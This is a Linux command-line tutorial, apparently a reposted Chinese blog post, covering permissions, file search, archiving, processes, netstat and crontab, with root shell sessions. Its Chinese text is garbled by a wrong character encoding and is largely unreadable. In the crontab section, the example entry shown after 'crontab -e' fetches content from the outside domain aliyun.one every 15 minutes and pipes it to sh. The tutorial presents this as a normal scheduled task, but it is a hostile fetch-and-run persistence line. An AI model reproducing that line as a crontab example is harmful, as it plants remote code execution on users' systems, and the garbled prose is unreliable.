Óû§×é¹ÜÀíÃüÁî
ÿ¸öÓû§¶¼ÓÐÒ»¸öÓû§×飬ϵͳ¿ÉÒÔ¶ÔÒ»¸öÓû§×éÖеÄËùÓÐÓû§½øÐм¯ÖйÜÀí¡£²»Í¬Linux ϵͳ¶ÔÓû§×éµÄ¹æ¶¨ÓÐËù²»Í¬£¬
ÈçLinuxϵÄÓû§ÊôÓÚÓëËüͬÃûµÄÓû§×飬Õâ¸öÓû§×éÔÚ´´½¨Óû§Ê±Í¬Ê±´´½¨¡£
Óû§×éµÄ¹ÜÀíÉæ¼°Óû§×éµÄÌí¼Ó¡¢É¾³ýºÍÐ޸ġ£×éµÄÔö¼Ó¡¢É¾³ýºÍÐÞ¸Äʵ¼ÊÉϾÍÊǶÔ/etc/groupÎļþµÄ¸üС£
groupadd ÐÂÔö×é
1£®»ù±¾Óï·¨
groupadd ×éÃû
2£®°¸Àýʵ²Ù
£¨1£©Ìí¼ÓÒ»¸öbigdata×é
[root@balingjiuling-01 home]# groupadd bigdata
groupdel ɾ³ý×é
1£®»ù±¾Óï·¨
groupdel ×éÃû
2£®°¸Àýʵ²Ù
£¨1£©É¾³ýbigdata×é
[root@balingjiuling-01 home]# groupgroupadd groupdel groupmems groupmod groups [root@balingjiuling-01 home]# groupdel bigdata
groupmod ÐÞ¸Ä×é
1£®»ù±¾Óï·¨
groupmod -n ÐÂ×éÃû ÀÏ×éÃû
2£®Ñ¡Ïî˵Ã÷
-n<ÐÂ×éÃû> Ö¸¶¨¹¤×÷×éµÄÐÂ×éÃû
ÎļþȨÏÞÀà
ÎļþÊôÐÔ
LinuxϵͳÊÇÒ»ÖÖµäÐ͵ĶàÓû§ÏµÍ³£¬²»Í¬µÄÓû§´¦ÓÚ²»Í¬µÄµØλ£¬ÓµÓв»Í¬µÄȨÏÞ¡£ÎªÁ˱£»¤ÏµÍ³µÄ°²È«ÐÔ£¬Linuxϵͳ¶Ô²»Í¬µÄÓû§·ÃÎÊͬһÎļþ£¨°üÀ¨Ä¿Â¼Îļþ£©µÄȨÏÞ×öÁ˲»Í¬µÄ¹æ¶¨¡£ÔÚLinuxÖÐÎÒÃÇ¿ÉÒÔʹÓÃll»òÕßls -lÃüÁîÀ´ÏÔʾһ¸öÎļþµÄÊôÐÔÒÔ¼°ÎļþËùÊôµÄÓû§ºÍ×é¡£
1£®´Ó×óµ½ÓÒµÄ10¸ö×Ö·û±íʾ
£¨1£©0Ê×λ±íʾÀàÐÍ
ÔÚLinuxÖеÚÒ»¸ö×Ö·û´ú±íÕâ¸öÎļþÊÇĿ¼¡¢Îļþ»òÁ´½ÓÎļþµÈµÈ
- ´ú±íÎļþ
d ´ú±íĿ¼
l Á´½ÓÎĵµ(link file)£»
£¨2£©µÚ1-3λȷ¶¨ÊôÖ÷£¨¸ÃÎļþµÄËùÓÐÕߣ©ÓµÓиÃÎļþµÄȨÏÞ¡£---User
£¨3£©µÚ4-6λȷ¶¨Êô×飨ËùÓÐÕßµÄͬ×éÓû§£©ÓµÓиÃÎļþµÄȨÏÞ£¬---Group
£¨4£©µÚ7-9λȷ¶¨ÆäËûÓû§ÓµÓиÃÎļþµÄȨÏÞ ---Other
2£®rxw×÷ÓÃÎļþºÍĿ¼µÄ²»Í¬½âÊÍ
£¨1£©×÷Óõ½Îļþ£º
[ r ]´ú±í¿É¶Á(read): ¿ÉÒÔ¶ÁÈ¡£¬²é¿´
[ w ]´ú±í¿Éд(write): ¿ÉÒÔÐ޸ģ¬µ«ÊDz»´ú±í¿ÉÒÔɾ³ý¸ÃÎļþ£¬É¾³ýÒ»¸öÎļþµÄÇ°ÌáÌõ¼þÊǶԸÃÎļþËùÔÚµÄĿ¼ÓÐдȨÏÞ£¬²ÅÄÜɾ³ý¸ÃÎļþ.
[ x ]´ú±í¿ÉÖ´ÐÐ(execute):¿ÉÒÔ±»ÏµÍ³Ö´ÐÐ
£¨2£©×÷Óõ½Ä¿Â¼£º
[ r ]´ú±í¿É¶Á(read): ¿ÉÒÔ¶ÁÈ¡£¬ls²é¿´Ä¿Â¼ÄÚÈÝ
[ w ]´ú±í¿Éд(write): ¿ÉÒÔÐ޸ģ¬Ä¿Â¼ÄÚ´´½¨+ɾ³ý+ÖØÃüÃûĿ¼
[ x ]´ú±í¿ÉÖ´ÐÐ(execute):¿ÉÒÔ½øÈë¸ÃĿ¼
3£®°¸Àýʵ²Ù
[root@balingjiuling-01 test1]# lltotal 8-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile
chmod ¸Ä±äȨÏÞ
1£®»ù±¾Óï·¨
µÚÒ»ÖÖ·½Ê½±ä¸üȨÏÞ
chmod [{ugoa}{+-=}{rwx}] Îļþ»òĿ¼
µÚ¶þÖÖ·½Ê½±ä¸üȨÏÞ
chmod [mode=421 ] [Îļþ»òĿ¼]
2£®¾Ñé¼¼ÇÉ
u:ËùÓÐÕß g:ËùÓÐ×é o:ÆäËûÈË a:ËùÓÐÈË(u¡¢g¡¢oµÄ×ܺÍ)
r=4 w=2 x=1 rwx=4+2+1=7
3£®°¸Àýʵ²Ù
£¨1£©ÐÞ¸ÄÎļþʹÆäËùÊôÖ÷Óû§¾ßÓÐÖ´ÐÐȨÏÞ
[root@balingjiuling-01 test1]# lltotal 8-rw-r--r-- 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile[root@balingjiuling-01 test1]# chmod +x bbb.txt [root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile
£¨2£©²ÉÓÃÊý×ֵķ½Ê½£¬ÉèÖÃÎļþËùÓÐÕß¡¢ËùÊô×é¡¢ÆäËûÓû§¶¼¾ßÓпɶÁ¿Éд¿ÉÖ´ÐÐȨÏÞ¡£
[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rw-r--r-- 1 root root 1958 Dec 25 11:10 profile[root@balingjiuling-01 test1]# chmod 777 profile [root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile
£¨3£©ÐÞ¸ÄÕû¸öÎļþ¼ÐÀïÃæµÄËùÓÐÎļþµÄËùÓÐÕß¡¢ËùÊô×é¡¢ÆäËûÓû§¶¼¾ßÓпɶÁ¿Éд¿ÉÖ´ÐÐȨÏÞ¡£
[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 root root 0 Dec 25 11:04 bbb.txtdrwxr-xr-x 2 root root 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile[root@balingjiuling-01 test1]# chmod -R 777 data2[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 root root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 root root 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile
chown ¸Ä±äËùÓÐÕß
1£®»ù±¾Óï·¨
chown [Ñ¡Ïî] [×îÖÕÓû§] [Îļþ»òĿ¼] £¨¹¦ÄÜÃèÊö£º¸Ä±äÎļþ»òÕßĿ¼µÄËùÓÐÕߣ©
2£®Ñ¡Ïî˵Ã÷
-R µÝ¹é²Ù×÷
3£®°¸Àýʵ²Ù
£¨1£©ÐÞ¸ÄÎļþËùÓÐÕß
[root@balingjiuling-01 test1]# chown test1 bbb.txt [root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 root root 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile
£¨2£©µÝ¹é¸Ä±äÎļþËùÓÐÕߺÍËùÓÐ×é
[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 root root 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile[root@balingjiuling-01 test1]# chown -R test1:test1 data2[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile
ËÑË÷²éÕÒÀà
find ²éÕÒÎļþ»òÕßĿ¼
findÖ¸Á´ÓÖ¸¶¨Ä¿Â¼ÏòϵݹéµØ±éÀúÆä¸÷¸ö×ÓĿ¼£¬½«Âú×ãÌõ¼þµÄÎļþÏÔʾÔÚÖնˡ£
1£®»ù±¾Óï·¨
find [ËÑË÷·¶Î§] [Ñ¡Ïî]
2£®Ñ¡Ïî˵Ã÷
-name<²éѯ·½Ê½> °´ÕÕÖ¸¶¨µÄÎļþÃû²éÕÒģʽ²éÕÒÎļþ-user<Óû§Ãû> ²éÕÒÊôÓÚÖ¸¶¨Óû§ÃûËùÓÐÎļþ-size<Îļþ´óС> °´ÕÕÖ¸¶¨µÄÎļþ´óС²éÕÒÎļþ¡£
3£®°¸Àýʵ²Ù
£¨1£©°´ÎļþÃû£º¸ù¾ÝÃû³Æ²éÕÒ/Ŀ¼ÏµÄfilename.txtÎļþ¡£
[root@balingjiuling-01 test1]# find /opt -name bbb.txt /opt/test1/bbb.txt
£¨2£©°´ÓµÓÐÕߣº²éÕÒ/optĿ¼Ï£¬Óû§Ãû³ÆΪ-userµÄÎļþ
[root@balingjiuling-01 test1]# find /opt -user test1/opt/test1/data2/opt/test1/data2/zhuijia.txt/opt/test1/bbb.txt
grep ¹ýÂ˲éÕÒ¼°¡°|¡±¹ÜµÀ·û
¹ÜµÀ·û£¬¡°|¡±£¬±íʾ½«Ç°Ò»¸öÃüÁîµÄ´¦Àí½á¹ûÊä³ö´«µÝ¸øºóÃæµÄÃüÁî´¦Àí
1£®»ù±¾Óï·¨
grep Ñ¡Ïî ²éÕÒÄÚÈÝ Ô´Îļþ
2£®Ñ¡Ïî˵Ã÷
-n ÏÔʾƥÅäÐм°Ðкš£
3£®°¸Àýʵ²Ù
£¨1£©²éÕÒijÎļþÔÚµÚ¼¸ÐÐ
[root@balingjiuling-01 test1]# grep -n bin profile 25:if [ -x /usr/bin/id ]; then28: EUID=`/usr/bin/id -u`29: UID=`/usr/bin/id -ru`31: USER="`/usr/bin/id -un`"38: pathmunge /usr/sbin39: pathmunge /usr/local/sbin41: pathmunge /usr/local/sbin after42: pathmunge /usr/sbin after45:HOSTNAME=`/usr/bin/hostname 2>/dev/null`59:if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ]; then79:export PATH=$PATH:$JAVA_HOME/bin
ѹËõºÍ½âѹÀà
gzip/gunzip ѹËõ
1£®»ù±¾Óï·¨
gzip Îļþ £¨¹¦ÄÜÃèÊö£ºÑ¹ËõÎļþ£¬Ö»Äܽ«ÎļþѹËõΪ*.gzÎļþ£©
gunzip Îļþ.gz £¨¹¦ÄÜÃèÊö£º½âѹËõÎļþÃüÁ
2£®¾Ñé¼¼ÇÉ
£¨1£©Ö»ÄÜѹËõÎļþ²»ÄÜѹËõĿ¼
£¨2£©²»±£ÁôÔÀ´µÄÎļþ
3£®°¸Àýʵ²Ù
£¨1£©gzipѹËõ
[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile[root@balingjiuling-01 test1]# [root@balingjiuling-01 test1]# [root@balingjiuling-01 test1]# [root@balingjiuling-01 test1]# [root@balingjiuling-01 test1]# gzip profile [root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 949 Dec 25 11:10 profile.gz
£¨2£©gunzip½âѹËõÎļþ
[root@balingjiuling-01 test1]# gunzip profile.gz [root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile
zip/unzip ѹËõ
1£®»ù±¾Óï·¨
zip [Ñ¡Ïî] XXX.zip ½«ÒªÑ¹ËõµÄÄÚÈÝ £¨¹¦ÄÜÃèÊö£ºÑ¹ËõÎļþºÍĿ¼µÄÃüÁ
unzip [Ñ¡Ïî] XXX.zip £¨¹¦ÄÜÃèÊö£º½âѹËõÎļþ£©
2£®Ñ¡Ïî˵Ã÷
-r ѹËõĿ¼
unzipÑ¡Ïî
-d <Ŀ¼>
Ö¸¶¨½âѹºóÎļþµÄ´æ·ÅĿ¼
3£®¾Ñé¼¼ÇÉ
zip ѹËõÃüÁîÔÚwindow/linux¶¼Í¨Ó㬿ÉÒÔѹËõĿ¼ÇÒ±£ÁôÔ´Îļþ¡£
4£®°¸Àýʵ²Ù
£¨1£©Ñ¹Ëõ test1.txt ºÍtest2.txt£¬Ñ¹ËõºóµÄÃû³ÆΪyasuo.zip
[root@balingjiuling-01 test1]# lltotal 8-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 0 Dec 25 17:27 test1.txt-rw-r--r-- 1 root root 0 Dec 25 17:27 test2.txt[root@balingjiuling-01 test1]# zip yasuo.zip test1.txt test2.txt adding: test1.txt (stored 0%) adding: test2.txt (stored 0%)[root@balingjiuling-01 test1]# lltotal 12-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 16:23 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 0 Dec 25 17:27 test1.txt-rw-r--r-- 1 root root 0 Dec 25 17:27 test2.txt-rw-r--r-- 1 root root 314 Dec 25 17:28 yasuo.zip
£¨2£©½âѹ yasuo.zip
[root@balingjiuling-01 test1]# unzip yasuo.zip Archive: yasuo.zipreplace test1.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y extracting: test1.txt replace test2.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y extracting: test2.txt
£¨3£©½âѹyasuo.zipµ½Ö¸¶¨Ä¿Â¼-d
[root@balingjiuling-01 test1]# unzip yasuo.zip -d data2/Archive: yasuo.zip extracting: data2/test1.txt extracting: data2/test2.txt [root@balingjiuling-01 test1]# ll data2/total 4-rw-r--r-- 1 root root 0 Dec 25 17:27 test1.txt-rw-r--r-- 1 root root 0 Dec 25 17:27 test2.txt-rwxrwxrwx 1 test1 test1 431 Dec 25 16:21 zhuijia.txt
tar ´ò°ü
1£®»ù±¾Óï·¨
tar [Ñ¡Ïî] XXX.tar.gz ½«Òª´ò°ü½øÈ¥µÄÄÚÈÝ £¨¹¦ÄÜÃèÊö£º´ò°üĿ¼£¬Ñ¹ËõºóµÄÎļþ¸ñʽ.tar.gz£©
2£®Ñ¡Ïî˵Ã÷
-c ²úÉú.tar´ò°üÎļþ-v ÏÔʾÏêϸÐÅÏ¢-f Ö¸¶¨Ñ¹ËõºóµÄÎļþÃû-z ´ò°üͬʱѹËõ-x ½â°ü.tarÎļþ
3£®°¸Àýʵ²Ù
£¨1£©Ñ¹Ëõ¶à¸öÎļþ
[root@balingjiuling-01 test1]# tar -zcvf taryasuo.tar.gz test1.txt test2.txt test1.txttest2.txt[root@balingjiuling-01 test1]# lltotal 20-rwxr-xr-x 1 test1 root 0 Dec 25 11:04 bbb.txtdrwxrwxrwx 2 test1 test1 4096 Dec 25 17:29 data2-rwxrwxrwx 1 root root 1958 Dec 25 11:10 profile-rw-r--r-- 1 root root 285 Dec 25 17:32 taryasuo.tar.gz-rw-r--r-- 1 root root 113 Dec 25 17:32 test1.txt-rw-r--r-- 1 root root 0 Dec 25 17:27 test2.txt-rw-r--r-- 1 root root 314 Dec 25 17:28 yasuo.zip
£¨3£©½âѹµ½Ö¸¶¨Ä¿Â¼
[root@balingjiuling-01 test1]# tar -zxvf taryasuo.tar.gz -C data2/test1.txttest2.txt
´ÅÅÌ·ÖÇøÀà
df ²é¿´´ÅÅÌ¿Õ¼äʹÓÃÇé¿ö
df: disk free ¿ÕÓàÓ²ÅÌ
1£®»ù±¾Óï·¨
df Ñ¡Ïî £¨¹¦ÄÜÃèÊö£ºÁгöÎļþϵͳµÄÕûÌå´ÅÅÌʹÓÃÁ¿£¬¼ì²éÎļþϵͳµÄ´ÅÅÌ¿Õ¼äÕ¼ÓÃÇé¿ö£©
2£®Ñ¡Ïî˵Ã÷
-h ÒÔÈËÃǽÏÒ×ÔĶÁµÄ GBytes, MBytes, KBytes µÈ¸ñʽ×ÔÐÐÏÔʾ£»
3£®°¸Àýʵ²Ù
£¨1£©²é¿´´ÅÅÌʹÓÃÇé¿ö
[root@balingjiuling-01 test1]# df -hFilesystem Size Used Avail Use% Mounted on/dev/vda1 40G 7.3G 30G 20% /devtmpfs 7.8G 0 7.8G 0% /devtmpfs 7.8G 0 7.8G 0% /dev/shmtmpfs 7.8G 1.3M 7.8G 1% /runtmpfs 7.8G 0 7.8G 0% /sys/fs/cgroup/dev/vdb 99G 48G 46G 51% /datatmpfs 1.6G 0 1.6G 0% /run/user/0
½ø³ÌÏß³ÌÀà
½ø³ÌÊÇÕýÔÚÖ´ÐеÄÒ»¸ö³ÌÐò»òÃüÁÿһ¸ö½ø³Ì¶¼ÊÇÒ»¸öÔËÐеÄʵÌ壬¶¼ÓÐ×Ô¼ºµÄµØÖ·¿Õ¼ä£¬²¢Õ¼ÓÃÒ»¶¨µÄϵͳ×ÊÔ´¡£
ps ²é¿´µ±Ç°ÏµÍ³½ø³Ì״̬
ps:process status ½ø³Ì״̬
1£®»ù±¾Óï·¨
ps aux | grep xxx £¨¹¦ÄÜÃèÊö£º²é¿´ÏµÍ³ÖÐËùÓнø³Ì£©ps -ef | grep xxx £¨¹¦ÄÜÃèÊö£º¿ÉÒԲ鿴×Ó¸¸½ø³ÌÖ®¼äµÄ¹Øϵ£©
2£®Ñ¡Ïî˵Ã÷
-a Ñ¡ÔñËùÓнø³Ì-u ÏÔʾËùÓÐÓû§µÄËùÓнø³Ì-x ÏÔʾûÓÐÖն˵Ľø³Ì
3£®¹¦ÄÜ˵Ã÷
£¨1£©ps auxÏÔʾÐÅϢ˵Ã÷
USER£º¸Ã½ø³ÌÊÇÓÉÄĸöÓû§²úÉúµÄ
PID£º½ø³ÌµÄIDºÅ
%CPU£º¸Ã½ø³ÌÕ¼ÓÃCPU×ÊÔ´µÄ°Ù·Ö±È£¬Õ¼ÓÃÔ½¸ß£¬½ø³ÌÔ½ºÄ·Ñ×ÊÔ´£»
%MEM£º¸Ã½ø³ÌÕ¼ÓÃÎïÀíÄÚ´æµÄ°Ù·Ö±È£¬Õ¼ÓÃÔ½¸ß£¬½ø³ÌÔ½ºÄ·Ñ×ÊÔ´£»
VSZ£º¸Ã½ø³ÌÕ¼ÓÃÐéÄâÄÚ´æµÄ´óС£¬µ¥Î»KB£»
RSS£º¸Ã½ø³ÌÕ¼ÓÃʵ¼ÊÎïÀíÄÚ´æµÄ´óС£¬µ¥Î»KB£»
TTY£º¸Ã½ø³ÌÊÇÔÚÄĸöÖÕ¶ËÖÐÔËÐеġ£ÆäÖÐtty1-tty7´ú±í±¾µØ¿ØÖÆ̨Öնˣ¬tty1-tty6ÊDZ¾µØµÄ×Ö·û½çÃæÖնˣ¬tty7ÊÇͼÐÎÖնˡ£pts/0-255´ú±íÐéÄâÖնˡ£
STAT£º½ø³Ì״̬¡£³£¼ûµÄ״̬ÓУºR£ºÔËÐС¢S£ºË¯Ãß¡¢T£ºÍ£Ö¹×´Ì¬¡¢s£º°üº¬×Ó½ø³Ì¡¢+£ºÎ»ÓÚºǫ́
START£º¸Ã½ø³ÌµÄÆô¶¯Ê±¼ä
TIME£º¸Ã½ø³ÌÕ¼ÓÃCPUµÄÔËËãʱ¼ä£¬×¢Òâ²»ÊÇϵͳʱ¼ä
COMMAND£º²úÉú´Ë½ø³ÌµÄÃüÁîÃû
£¨2£©ps -efÏÔʾÐÅϢ˵Ã÷
UID£ºÓû§ID
PID£º½ø³ÌID
PPID£º¸¸½ø³ÌID
C£ºCPUÓÃÓÚ¼ÆËãÖ´ÐÐÓÅÏȼ¶µÄÒò×Ó¡£ÊýÖµÔ½´ó£¬±íÃ÷½ø³ÌÊÇCPUÃܼ¯ÐÍÔËË㣬ִÐÐÓÅÏȼ¶»á½µµÍ£»ÊýֵԽС£¬±íÃ÷½ø³ÌÊÇI/OÃܼ¯ÐÍÔËË㣬ִÐÐÓÅÏȼ¶»áÌá¸ß
STIME£º½ø³ÌÆô¶¯µÄʱ¼ä
TTY£ºÍêÕûµÄÖÕ¶ËÃû³Æ
TIME£ºCPUʱ¼ä
CMD£ºÆô¶¯½ø³ÌËùÓõÄÃüÁîºÍ²ÎÊý
4£®¾Ñé¼¼ÇÉ
Èç¹ûÏë²é¿´½ø³ÌµÄCPUÕ¼ÓÃÂʺÍÄÚ´æÕ¼ÓÃÂÊ£¬¿ÉÒÔʹÓÃaux;
Èç¹ûÏë²é¿´½ø³ÌµÄ¸¸½ø³ÌID¿ÉÒÔʹÓÃef;
5£®°¸Àýʵ²Ù
[root@balingjiuling-01 test1]# ps auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.0 199228 3068 ? Ss 2018 32:55 /usr/lib/systemd/systemd --switched-root --system --deserialize 22root 2 0.0 0.0 0 0 ? S 2018 0:00 [kthreadd]root 3 0.0 0.0 0 0 ? S 2018 2:02 [ksoftirqd/0]root 5 0.0 0.0 0 0 ? S< 2018 0:00 [kworker/0:0H]root 7 0.0 0.0 0 0 ? S 2018 0:03 [migration/0]root 8 0.0 0.0 0 0 ? S 2018 0:00 [rcu_bh]root 9 0.0 0.0 0 0 ? R 2018 146:28 [rcu_sched]root 10 0.0 0.0 0 0 ? S< 2018 0:00 [lru-add-drain]root 11 0.0 0.0 0 0 ? S 2018 0:40 [watchdog/0]root 12 0.0 0.0 0 0 ? S 2018 0:31 [watchdog/1]root 13 0.0 0.0 0 0 ? S 2018 0:08 [migration/1]root 14 0.0 0.0 0 0 ? S 2018 17:48 [ksoftirqd/1]
[root@balingjiuling-01 test1]# ps -efUID PID PPID C STIME TTY TIME CMDroot 1 0 0 2018 ? 00:32:55 /usr/lib/systemd/systemd --switched-root --system --deserialize 22root 2 0 0 2018 ? 00:00:00 [kthreadd]root 3 2 0 2018 ? 00:02:02 [ksoftirqd/0]root 5 2 0 2018 ? 00:00:00 [kworker/0:0H]root 7 2 0 2018 ? 00:00:03 [migration/0]root 8 2 0 2018 ? 00:00:00 [rcu_bh]root 9 2 0 2018 ? 02:26:28 [rcu_sched]root 10 2 0 2018 ? 00:00:00 [lru-add-drain]
kill ÖÕÖ¹½ø³Ì
1£®»ù±¾Óï·¨
kill [Ñ¡Ïî] ½ø³ÌºÅ¹¦ÄÜÃèÊö£ºÍ¨¹ý½ø³ÌºÅɱËÀ½ø³Ì£©killall ½ø³ÌÃû³Æ£¨¹¦ÄÜÃèÊö£ºÍ¨¹ý½ø³ÌÃû³ÆɱËÀ½ø³Ì£©
2£®Ñ¡Ïî˵Ã÷
-9 ±íʾǿÆȽø³ÌÁ¢¼´Í£Ö¹
top ²é¿´ÏµÍ³½¡¿µ×´Ì¬
1£®»ù±¾ÃüÁî
top [Ñ¡Ïî]
2£®Ñ¡Ïî˵Ã÷
-d ÃëÊý Ö¸¶¨topÃüÁîÿ¸ô¼¸Ãë¸üС£Ä¬ÈÏÊÇ3ÃëÔÚtopÃüÁîµÄ½»»¥Ä£Ê½µ±ÖпÉÒÔÖ´ÐеÄÃüÁî-i ʹtop²»ÏÔʾÈκÎÏÐÖûòÕß½©ËÀ½ø³Ì¡£-p ͨ¹ýÖ¸¶¨¼à¿Ø½ø³ÌIDÀ´½ö½ö¼à¿Øij¸ö½ø³ÌµÄ״̬¡£
3£®²Ù×÷˵Ã÷
P ÒÔCPUʹÓÃÂÊÅÅÐò£¬Ä¬ÈϾÍÊÇ´ËÏîM ÒÔÄÚ´æµÄʹÓÃÂÊÅÅÐòN ÒÔPIDÅÅÐòq Í˳ötop
netstat ÏÔʾÍøÂçͳ¼ÆÐÅÏ¢
1£®»ù±¾Óï·¨
netstat -anp£¨¹¦ÄÜÃèÊö£º´ËÃüÁîÓÃÀ´ÏÔʾÕû¸öϵͳĿǰµÄÍøÂçÇé¿ö¡£ÀýÈçÄ¿Ç°µÄÁ¬½Ó¡¢Êý¾Ý°ü´«µÝÊý¾Ý¡¢»òÊÇ·ÓɱíÄÚÈÝ£©
2£®Ñ¡Ïî˵Ã÷
-an °´Ò»¶¨Ë³ÐòÅÅÁÐÊä³ö-p ±íʾÏÔʾÄĸö½ø³ÌÔÚµ÷ÓÃ
3£®°¸Àýʵ²Ù
£¨1£©Í¨¹ý½ø³ÌºÅ²é¿´¸Ã½ø³ÌµÄÍøÂçÐÅÏ¢
[root@balingjiuling-01 test1]# netstat -anp | grep 22tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 172.26.138.251:22 111.200.84.172:59501 ESTABLISHED - tcp 0 0 172.26.138.251:40210 185.152.67.22:80 ESTABLISHED - tcp 0 0 172.26.138.251:8083 120.194.227.16:42644 ESTABLISHED - tcp 0 0 172.26.138.251:43070 47.95.85.22:80 CLOSE_WAIT - unix 2 [ ] DGRAM 1422 1/systemd /run/systemd/cgroups-agentunix 3 [ ] STREAM CONNECTED 22264 3122/dbus-daemon /run/dbus/system_bus_socketunix 3 [ ] STREAM CONNECTED 21845 3122/dbus-daemon unix 3 [ ] STREAM CONNECTED 21722 3086/auditd unix 3 [ ] STREAM CONNECTED 19028 3122/dbus-daemon /run/dbus/system_bus_socketunix 2 [ ] DGRAM 562524 3122/dbus-daemon unix 3 [ ] STREAM CONNECTED 19027 3122/dbus-daemon /run/dbus/system_bus_socketunix 3 [ ] STREAM CONNECTED 19026 3122/dbus-daemon
crond ϵͳ¶¨Ê±ÈÎÎñ
crond ·þÎñ¹ÜÀí
1£®»ù±¾Óï·¨
crontab [Ñ¡Ïî]
2£®Ñ¡Ïî˵Ã÷
-e ±à¼crontab¶¨Ê±ÈÎÎñ-l ²éѯcrontabÈÎÎñ-r ɾ³ýµ±Ç°Óû§ËùÓеÄcrontabÈÎÎñ
3£®²ÎÊý˵Ã÷
[[root@balingjiuling-01 test1]# crontab -e*/15 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one||python -c 'import urllib;print(urllib.urlopen("http://aliyun.one").read())')|sh##
£¨1£©½øÈëcrontab±à¼½çÃæ¡£»á´ò¿ªvim±à¼ÄãµÄ¹¤×÷¡£
* * * * * Ö´ÐеÄÈÎÎñ
µÚÒ»¸ö¡°*¡± һСʱµ±Öеĵڼ¸·ÖÖÓ0-59µÚ¶þ¸ö¡°*¡± Ò»Ììµ±Öеĵڼ¸Ð¡Ê±0-23µÚÈý¸ö¡°*¡± Ò»¸öÔµ±Öеĵڼ¸Ìì1-31µÚËĸö¡°*¡± Ò»Äêµ±Öеĵڼ¸ÔÂ1-12µÚÎå¸ö¡°*¡± Ò»Öܵ±ÖеÄÐÇÆÚ¼¸0-7£¨0ºÍ7¶¼´ú±íÐÇÆÚÈÕ£©
°ïÖúÃüÁî
--man »ñµÃ°ïÖúÐÅÏ¢
1. »ù±¾Óï·¨
man [ÃüÁî»òÅäÖÃÎļþ£¨¹¦ÄÜÃèÊö£º»ñµÃ°ïÖúÐÅÏ¢£©
2£®ÏÔʾ˵Ã÷
NAME ÃüÁîµÄÃû³ÆºÍµ¥ÐÐÃèÊö
DESCRIPTION
EXAMPLES
ÔõÑùʹÓÃÃüÁîµÄÀý×Ó
SEE ALSO
3£®°¸Àýʵ²Ù
£¨1£©²é¿´lsÃüÁîµÄ°ïÖúÐÅÏ¢
[root@VM_0_3_centos /]# man ls
--help »ñµÃshellÄÚÖÃÃüÁîµÄ°ïÖúÐÅÏ¢
1£®»ù±¾Óï·¨
help ÃüÁî £¨¹¦ÄÜÃèÊö£º»ñµÃshellÄÚÖÃÃüÁîµÄ°ïÖúÐÅÏ¢£©
2£®°¸Àýʵ²Ù
£¨1£©²é¿´cdÃüÁîµÄ°ïÖúÐÅÏ¢
[root@VM_0_3_centos /]# help cd
תÔØ